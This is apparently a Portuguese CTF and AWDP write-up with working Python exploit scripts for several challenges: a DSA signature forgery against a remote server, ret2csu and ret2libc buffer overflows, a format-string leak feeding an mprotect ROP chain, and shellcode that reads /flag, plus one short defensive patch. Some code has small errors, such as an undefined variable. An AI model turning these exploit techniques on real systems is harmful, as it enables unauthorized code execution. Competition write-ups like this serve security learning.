Análise de Desafios de CTF e AWDP: Exploração de Binários e Vulnerabilidades

Desafios de CTF

Análise de Ransomware (Black Basta)

Ao consultar uma fonte pública de dicas, obtivemos acesso a uma ferramenta de descriptografia (black-basta-buster). O processo envolve localizar blocos de chave no servidor e aplicá-los sobre arquivos de imagem previamente criptografados. Um pequeno ajuste no script Python foi necessário para tratar as flags como strings:

sed -i 's/flags/"flags"/' ./decryptblocks.py
export SRL_IGNORE_MAGIC=1
python3 ./decryptblocks.py ./banana.jpg.sah28vut5 ./key.block

Assinatura Digital (DSA)

O desafio exigia duas etapas: primeiramente, descobrir um token cujo hash SHA-256 compartilhasse os mesmos seis caracteres iniciais exibidos pelo servidor. Como a base do token era conhecida (happy_the_year_of_loong), fizemos uma busca combinatória variando maiúsculas e minúsculas. Depois, com os parâmetros públicos do DSA vazados, reconstruímos manualmente uma assinatura válida para a mensagem admin.

import itertools, hashlib
from Excalibur2 import *

def brute_token(prefixo_hash):
    base = 'happy_the_year_of_loong'
    variacoes = [(c.lower(), c.upper()) if c.isalpha() else (c,) for c in base]
    for comb in itertools.product(*variacoes):
        candidato = ''.join(comb)
        if hashlib.sha256(candidato.encode()).hexdigest().startswith(prefixo_hash):
            return candidato

conn = remote("8.147.128.54", 33015)
conn.recvuntil(b"Your gift --> ")
prefixo = conn.recvline().decode().strip()

token = brute_token(prefixo)
conn.sendlineafter(b">", token)

# Coletar parâmetros públicos do DSA
conn.sendlineafter(b"1.sign", b"3")
conn.recvuntil(b"Oh,your key is ")
p, q, g = eval(conn.recvline().decode())

# Obter chave privada vazada
conn.sendlineafter(b"1.sign", b"2")
conn.recvuntil(b"signature\n")
chave_privada = int(conn.recvline().decode())

# Gerar assinatura manualmente
import random
def assinar(mensagem, x, p, q, g):
    k = random.randint(2, q - 2)
    h = int(hashlib.sha256(mensagem).hexdigest(), 16)
    r = pow(g, k, p) % q
    s = (pow(k, -1, q) * (h + x * r)) % q
    return r, s

r, s = assinar(b"admin", chave_privada, p, q, g)
conn.sendlineafter(b"r:", str(r).encode())
conn.sendlineafter(b"s:", str(s).encode())
conn.interactive()

Exploração de Binário (stdout)

A vulnerabilidade residia em um buffer overflow clássico. A estratégia conssitiu em escrever a string /bin/sh na seção BSS, sobrescrever o último byte da entrada GOT de setvbuf para redirecioná-la para syscall, e então utilizar um gadget CSU (ret2csu) para invocar execve("/bin/sh", NULL, NULL) com RAX configurado para 0x3b.

from Excalibur2 import *

elf = load("./pwn")
io = process("./pwn")
context.binary = elf

ENDERECO_VULN = 0x40125D
BSS_ALVO = 0x404070 + 0x100
READ_PLT = elf.plt["read"]
SETVBUF_GOT = elf.got["setvbuf"]
GADGET_POP_RSI_R15 = 0x4013d1
CSU_INIT = 0x4013CA
CSU_CALL = 0x4013B0

# Estágio 1: Transbordar buffer inicial
io.send(cyclic(0x58) + p64(ENDERECO_VULN))

# Estágio 2: Escrever "/bin/sh" no BSS
payload2 = cyclic(0x28)
payload2 += p64(GADGET_POP_RSI_R15) + p64(BSS_ALVO) + p64(0)
payload2 += p64(READ_PLT) + p64(ENDERECO_VULN)
payload2 = payload2.ljust(0x200, b"\x00")
io.send(payload2)
io.sendline(b"/bin/sh\x00")

# Estágio 3: Patch GOT do setvbuf + ret2csu para syscall
payload3 = cyclic(0x28)
payload3 += p64(GADGET_POP_RSI_R15) + p64(SETVBUF_GOT) + p64(0)
payload3 += p64(READ_PLT)
payload3 += p64(GADGET_POP_RSI_R15) + p64(BSS_ALVO + 0x200) + p64(0)
payload3 += p64(READ_PLT)
payload3 += p64(CSU_INIT) + p64(0) + p64(1) + p64(BSS_ALVO)
payload3 += p64(0) * 2 + p64(SETVBUF_GOT) + p64(CSU_CALL)
payload3 = payload3.ljust(0x200, b"\x00")
io.send(payload3)

# Sobrescrever último byte de setvbuf -> syscall
io.send(b"\xc9")
# Definir RAX = 0x3b (execve)
io.send(b"A" * 0x3b)

io.interactive()

Execução de Shellcode com Filtro (Shuffled_Execution)

O binário verificava o tamanho do shellcode inserido. A solução foi antepor uma instrução curta contendo bytes nulos para truncar a comparação de comprimento. Em seguida, utilizamos syscalls openat, mmap e writev para ler o arquivo de flag:

from Excalibur2 import *
from pwnlib import shellcraft

io = process("./pwn")

codigo = """
    mov eax, 0
    mov eax, 9
    syscall
    mov rsp, rcx
    add rsp, 0x200
"""
codigo += shellcraft.openat(-1, "/flag")
codigo += """
    mov rdi, rax
    mov rax, 9
    mov r8, rdi
    xor rdi, rdi
    mov rsi, 0x100
    mov rdx, 1
    mov r10, 0x02
    mov r9, 0
    syscall
    push rax
    push 0x1
    pop rdi
    push 0x1
    pop rdx
    push 0x100
    add rsp, 8
    mov rsi, rsp
    push 20
    pop rax
    syscall
    nop
    nop
"""

shellcode_final = asm(codigo)
io.sendlineafter(b"entrance.", shellcode)
io.interactive()

Salve a Princesa (SaveThePrincess)

Este desafio combinava brute force com format string. Primeiro, adivinhamos uma senha byte a byte, comparando cada caractere através do valor de retorno de printf. Depois, utilizamos a vulnerabilidade de format string para vazar canário, endereço de libc e ponteiro de pilha. Com mprotect, tornamos a região da pilha executável (com alinhamento de página) e injetamos um shellcode que abria e lia a flag usando openat e mmap.

from Excalibur2 import *
import struct

io = process("./pwn")

senha_real = ""
for posicao in range(8):
    for tentativa in range(26):
        io.sendlineafter(b">", b"1")
        senha_teste = senha_real.ljust(10, "a")
        io.sendlineafter(b"password:", senha_teste.encode())
        io.recvuntil(senha_teste.encode())
        byte_recebido = io.recv(1)
        if byte_recebido != struct.pack('B', posicao + 1):
            senha_real += chr(ord("b") + tentativa)
            continue
        break

# Format string para vazamento
payload_fmt = "-%13$p-%15$p-%10$p-"
io.sendlineafter(b">", b"1")
io.sendlineafter(b"password:", senha_real.encode())
io.sendafter(b"power!!!", payload_fmt.encode())

io.recvuntil(b"-")
canary = int(io.recvuntil(b"-")[:-1], 16)
libc_base = int(io.recvuntil(b"-")[:-1], 16) - 0x29d90
stack_leak = int(io.recvuntil(b"-")[:-1], 16)

# ROP: mprotect(stack_page, 0x2000, 7) + shellcode
POP_RDI = libc_base + 0x2a3e5
POP_RSI = libc_base + 0x2be51
POP_RAX_RDX_RBX = libc_base + 0x904a8
SYSCALL = libc_base + 0x114885

shellcode_asm = shellcraft.openat(-1, "/flag")
shellcode_asm += """
    mov rdi, rax
    mov rax, 9
    mov r8, rdi
    xor rdi, rdi
    mov rsi, 0x100
    mov rdx, 1
    mov r10, 0x02
    mov r9, 0
    syscall
    mov rsi, rax
    mov rax, 1
    mov rdi, 1
    mov rdx, 0x100
    sub rsi, 0x60
    syscall
"""

pagina_alinhada = (stack_leak >> 12) << 12
payload_final = cyclic(0x38) + p64(canary) + b"A" * 8
payload_final += p64(POP_RDI) + p64(pagina_alinhada)
payload_final += p64(POP_RSI) + p64(0x2000)
payload_final += p64(POP_RAX_RDX_RBX) + p64(10) + p64(7) + p64(0)
payload_final += p64(SYSCALL)
payload_final += p64(stack_leak + 0x1000 + len(payload_final) + 0x10 - 0x1068)
payload_final += asm(shellcode_asm)

io.sendlineafter(b"dragon!!", payload_final)
io.interactive()

Desafios de AWDP

spiiill — Exploração

O programa interpretava comandos lendo valores de 64 bits como índices de função. Ao enviar o índice 0x0A, contornávamos uma verificação que rejeitava desvios acima de 0x0B. Em seguida, chamávamos a função no índice 0x0C, passando sh como argumento para obter um shell:

from Excalibur2 import *

io = process("./pwn")

dados = p64(0x0A)
dados += p64(0x0C)
dados += p64(0xFFFFFFFFFFFFFC02)
dados += b"sh\x00"

io.sendlineafter(b"choice:", b"2")
io.send(dados)
io.sendlineafter(b"choice:", b"3")
io.interactive()

simpleSys — Ataque

Ao inserir exatamente 36 caracteres como senha, a codificação interna produzia um byte nulo no final, truncando a verificação de comprimento. Isso permitia usar um tamanho negativo (-1) na leitura seguinte, causando um transbordamento. O printf subsequente vazava o endereço base (PIE), possibilitando um ataque ret2libc:

from Excalibur2 import *

elf = load("./pwn.bak")
libc = load("./libc.so.6")
io = process("./pwn.bak")

io.sendlineafter(b"choice:", b"2")
io.sendlineafter(b"username", b"root")
io.sendlineafter(b"password", b"a" * 36)

io.sendlineafter(b"choice:", b"3")
io.sendlineafter(b"length:", b"-1")
io.sendline(b"a" * 0x68)
io.sendlineafter(b"confirm", b"n")

io.recvuntil(b"a" * 0x68)
base_pie = u64(io.recv(6).ljust(8, b"\x00"))
base = base_pie - 0x187d

POP_RDI = base + 0x1751
RET = base + 0x101a
READ_GOT = base + elf.got["read"]
PUTS_PLT = base + elf.plt["puts"]

# Vazar read@libc
io.sendlineafter(b"length:", b"-1")
rop = b"a" * 0x68 + p64(POP_RDI) + p64(READ_GOT) + p64(PUTS_PLT) + p64(base + 0x146A)
io.sendline(rop)
io.sendlineafter(b"confirm", b"y")

read_addr = u64(io.recvline().strip().ljust(8, b"\x00"))
libc.address = read_addr - libc.symbols["read"]
system_addr = libc.symbols["system"]
binsh_addr = next(libc.search(b"/bin/sh"))

# Ret2system
io.sendlineafter(b"length:", b"-1")
final_rop = b"a" * 0x68 + p64(RET) + p64(POP_RDI) + p64(binsh_addr) + p64(system_addr)
io.sendline(final_rop)
io.sendlineafter(b"confirm", b"y")
io.interactive()

simpleSys — Defesa

A correção consistiu em reduzir o tamanho máximo de leitura da senha no binário, impedindo que a entrada de 36 caracteres gerasse o byte nulo de truncamento que vulnerabilizava a verificação de comprimento.

Tags: pwn CTF exploit-development buffer-overflow ret2libc

Publicado em 7-1 06:01